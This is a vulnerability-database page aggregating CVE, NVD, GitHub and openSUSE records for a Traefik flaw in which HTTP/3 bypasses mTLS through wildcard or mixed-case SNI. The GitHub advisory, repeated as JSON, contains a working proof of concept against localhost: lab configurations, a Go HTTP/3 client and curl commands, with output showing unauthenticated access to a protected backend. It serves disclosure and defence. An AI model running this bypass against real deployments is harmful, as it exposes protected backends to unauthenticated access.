Vulnerability-Lookup

CVE-2026-53622 (GCVE-0-2026-53622)

Vulnerability from cvelistv5 – Published: 2026-06-23 19:13 – Updated: 2026-09-02 12:04

Title

Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Summary

Traefik is an HTTP reverse proxy and load balancer. Versions prior to 3.7.3, 3.6.18, and 2.11.51 have a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker. This vulnerability is fixed in versions 3.7.3, 3.6.18, and 2.11.51.

Severity

7.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-25 12:44 UTC

CWE

CWE-288 - Authentication Bypass Using an Alternate Path or Channel
CWE-289 - Authentication Bypass by Alternate Name

Assigner

GitHub_M mitre root

References

9 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	x_refsource_CONFIRM
https://github.com/traefik/traefik/pull/13214	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-53622	x_refsource_MISC
https://bugzilla.redhat.com/show_bug.cgi?id=2491924	x_refsource_MISC
https://community.traefik.io/t/new-security-updat…	x_refsource_MISC
https://github.com/traefik/traefik/compare/v3.6.1…	x_refsource_MISC
https://github.com/traefik/traefik/releases/tag/v3.7.3	x_refsource_MISC
https://security.access.redhat.com/data/csaf/v2/v…	x_refsource_MISC
https://access.redhat.com/errata/RHSA-2026:62260	vendor-advisoryx_refsource_REDHAT

Impacted products

2 products

Vendor	Product	Version	CPE status
traefik	traefik	Affected: >= 3.7.0, < 3.7.3 Affected: >= 3.0.0, < 3.6.18 Affected: < 2.11.51	guessed
Red Hat	Red Hat OpenShift Dev Spaces 3.30	Unaffected: 1787756799 , < * (rpm) cpe:/a:redhat:openshift_devspaces:3.30::el9

Show details on NVD website

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}

FKIE_CVE-2026-53622

Vulnerability from fkie_nvd - Published: 2026-06-23 20:16 - Updated: 2026-09-02 13:18

Severity

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://access.redhat.com/security/cve/CVE-2026-53622
security-advisories@github.com	https://bugzilla.redhat.com/show_bug.cgi?id=2491924
security-advisories@github.com	https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917
security-advisories@github.com	https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18
security-advisories@github.com	https://github.com/traefik/traefik/pull/13214
security-advisories@github.com	https://github.com/traefik/traefik/releases/tag/v3.7.3	Patch, Release Notes
security-advisories@github.com	https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7	Exploit, Mitigation, Patch, Vendor Advisory
security-advisories@github.com	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:62260
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-53622
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2491924
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json

Impacted products

	Vendor	Product	Version
	traefik	traefik	*

JSON

To clipboard

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      "source": "security-advisories@github.com",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491924"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/traefik/traefik/pull/13214"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-53622"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491924"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-288"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-289"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-9CR8-Q42Q-G8M7

Vulnerability from github – Published: 2026-06-16 21:04 – Updated: 2026-09-02 21:11

Summary

Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Details

Summary

There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.

Patches

https://github.com/traefik/traefik/releases/tag/v3.6.18
https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary Traefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`. This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed: 1. `Host("*.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. `Host("api.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one. Confirmed versions: - wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1` - exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1` ### Details HTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:

h3.Server = &http3.Server{
    Addr:      config.GetAddress(),
    Port:      config.HTTP3.AdvertisedPort,
    Handler:   httpsServer.Server.(*http.Server).Handler,
    TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}

The callback is wired to the TCP router's TLS selector:

func (e *http3server) Switch(rt *tcprouter.Router) {
    e.lock.Lock()
    defer e.lock.Unlock()

    e.getter = rt.GetTLSGetClientInfo()
}

The selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:

func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
            return tlsConfig, nil
        }

        return r.httpsTLSConfig, nil
    }
}

That creates two mismatches: - wildcard keys such as `*.example.com` are never matched for `api.example.com` - lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM` On the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend. Preconditions: - HTTP/3 is enabled on the affected entrypoint. - A router-specific `TLSOptions` configuration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates. - UDP access to the HTTP/3 entrypoint is reachable by the attacker. Minimal wildcard dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal exact-host dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --entrypoints.websecure.http3
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443/tcp"
      - "8443:8443/udp"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

Certificate generation:

rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj "/CN=api.example.com"   -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"

openssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall

The mixed-case HTTP/3 client used for the exact-host case:

package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "os"
    "time"

    "github.com/quic-go/quic-go/http3"
)

func main() {
    serverName := os.Getenv("TLS_SERVER_NAME")
    if serverName == "" {
        serverName = "API.EXAMPLE.COM"
    }

    host := os.Getenv("HTTP_HOST")
    if host == "" {
        host = "API.EXAMPLE.COM"
    }

    tr := &http3.Transport{
        TLSClientConfig: &tls.Config{
            ServerName:         serverName,
            InsecureSkipVerify: true,
        },
    }
    defer tr.Close()

    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}

    req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
    if err != nil {
        panic(err)
    }
    req.Host = host

    resp, err := client.Do(req)
    if err != nil {
        fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    fmt.Println(resp.Proto, resp.StatusCode)
    body, _ := io.ReadAll(resp.Body)
    fmt.Print(string(body))
}

### PoC Wildcard bypass: 1. Start Traefik with the wildcard dynamic configuration above. 2. Control over TCP/TLS:

curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

3. HTTP/3 bypass:

curl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443

Exact-host mixed-case bypass: 1. Start Traefik with the exact-host dynamic configuration above. 2. Control over TCP/TLS:

curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

3. Mixed-case HTTP/2 control:

curl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/

Observed result:

TLS alert ... certificate required

This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`. 4. HTTP/3 bypass with the same mixed-case hostname:

TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go

Observed result:

HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM

Local regression tests used during validation:

go test ./pkg/server/router/tcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1

These tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction. Version matrix observed with Docker images:

wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1

The wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0. ### Impact Deployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication. The highest-impact case is mTLS: - normal HTTP/2/TCP access to the protected host requires a client certificate - HTTP/3 access to the same route falls back to the default TLS config - the request is then routed to the protected backend without satisfying the route's mTLS policy This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold. Possible workarounds until a fix is available: - Disable HTTP/3 on entrypoints that rely on router-specific mTLS. - Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration. - Block UDP access to the HTTP/3 entrypoint. - Enforce client authentication at an additional layer behind Traefik.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

7.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.50"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.51"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-289"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T21:04:29Z",
    "nvd_published_at": "2026-06-23T20:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a critical vulnerability in Traefik\u0027s HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration \u2014 which may not require client certificates \u2014 a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.18\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`.\n\nThis is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:\n\n1. `Host(\"*.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.\n2. `Host(\"api.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one.\n\nConfirmed versions:\n\n- wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1`\n- exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1`\n\n### Details\n\nHTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:\n\n```go\nh3.Server = \u0026http3.Server{\n    Addr:      config.GetAddress(),\n    Port:      config.HTTP3.AdvertisedPort,\n    Handler:   httpsServer.Server.(*http.Server).Handler,\n    TLSConfig: \u0026tls.Config{GetConfigForClient: h3.getGetConfigForClient},\n}\n```\n\nThe callback is wired to the TCP router\u0027s TLS selector:\n\n```go\nfunc (e *http3server) Switch(rt *tcprouter.Router) {\n    e.lock.Lock()\n    defer e.lock.Unlock()\n\n    e.getter = rt.GetTLSGetClientInfo()\n}\n```\n\nThe selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:\n\n```go\nfunc (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {\n            return tlsConfig, nil\n        }\n\n        return r.httpsTLSConfig, nil\n    }\n}\n```\n\nThat creates two mismatches:\n\n- wildcard keys such as `*.example.com` are never matched for `api.example.com`\n- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`\n\nOn the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.\n\nPreconditions:\n\n- HTTP/3 is enabled on the affected entrypoint.\n- A router-specific `TLSOptions` configuration enforces client certificate authentication.\n- The default/fallback TLS configuration does not require client certificates.\n- UDP access to the HTTP/3 entrypoint is reachable by the attacker.\n\nMinimal wildcard dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal exact-host dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --entrypoints.websecure.http3\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443/tcp\"\n      - \"8443:8443/udp\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj \"/CN=api.example.com\"   -addext \"subjectAltName=DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall\n```\n\nThe mixed-case HTTP/3 client used for the exact-host case:\n\n```go\npackage main\n\nimport (\n    \"crypto/tls\"\n    \"fmt\"\n    \"io\"\n    \"net/http\"\n    \"os\"\n    \"time\"\n\n    \"github.com/quic-go/quic-go/http3\"\n)\n\nfunc main() {\n    serverName := os.Getenv(\"TLS_SERVER_NAME\")\n    if serverName == \"\" {\n        serverName = \"API.EXAMPLE.COM\"\n    }\n\n    host := os.Getenv(\"HTTP_HOST\")\n    if host == \"\" {\n        host = \"API.EXAMPLE.COM\"\n    }\n\n    tr := \u0026http3.Transport{\n        TLSClientConfig: \u0026tls.Config{\n            ServerName:         serverName,\n            InsecureSkipVerify: true,\n        },\n    }\n    defer tr.Close()\n\n    client := \u0026http.Client{Transport: tr, Timeout: 8 * time.Second}\n\n    req, err := http.NewRequest(http.MethodGet, \"https://127.0.0.1:8443/\", nil)\n    if err != nil {\n        panic(err)\n    }\n    req.Host = host\n\n    resp, err := client.Do(req)\n    if err != nil {\n        fmt.Fprintln(os.Stderr, err)\n        os.Exit(1)\n    }\n    defer resp.Body.Close()\n\n    fmt.Println(resp.Proto, resp.StatusCode)\n    body, _ := io.ReadAll(resp.Body)\n    fmt.Print(string(body))\n}\n```\n\n### PoC\n\nWildcard bypass:\n\n1. Start Traefik with the wildcard dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. HTTP/3 bypass:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nHTTP/3 200\nName: PROTECTED\nHost: api.example.com:8443\n```\n\nExact-host mixed-case bypass:\n\n1. Start Traefik with the exact-host dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. Mixed-case HTTP/2 control:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nThis control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`.\n\n4. HTTP/3 bypass with the same mixed-case hostname:\n\n```bash\nTLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go\n```\n\nObserved result:\n\n```text\nHTTP/3.0 200\nName: PROTECTED\nHost: API.EXAMPLE.COM\n```\n\nLocal regression tests used during validation:\n\n```bash\ngo test ./pkg/server/router/tcp   -run \u0027TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$\u0027   -count=1\n```\n\nThese tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction.\n\nVersion matrix observed with Docker images:\n\n```text\nwildcard H3 bypass: affected on v3.7.0 and v3.7.1\nexact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1\n```\n\nThe wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.\n\n### Impact\n\nDeployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication.\n\nThe highest-impact case is mTLS:\n\n- normal HTTP/2/TCP access to the protected host requires a client certificate\n- HTTP/3 access to the same route falls back to the default TLS config\n- the request is then routed to the protected backend without satisfying the route\u0027s mTLS policy\n\nThis can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.\n\nPossible workarounds until a fix is available:\n\n- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.\n- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.\n- Block UDP access to the HTTP/3 entrypoint.\n- Enforce client authentication at an additional layer behind Traefik.\n\n\u003c/details\u003e",
  "id": "GHSA-9cr8-q42q-g8m7",
  "modified": "2026-09-02T21:11:48Z",
  "published": "2026-06-16T21:04:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53622"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13214"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-53622"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491924"
    },
    {
      "type": "WEB",
      "url": "https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts"
}

OPENSUSE-SU-2026:11047-1

Vulnerability from csaf_opensuse - Published: 2026-06-17 00:00 - Updated: 2026-09-17 17:10

Summary

traefik-3.7.5-1.1 on GA media

Severity

Moderate

Scope

3 vulnerabilities in this advisory, including CVE-2026-53622.

CVE-2026-53622

10 (Critical)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

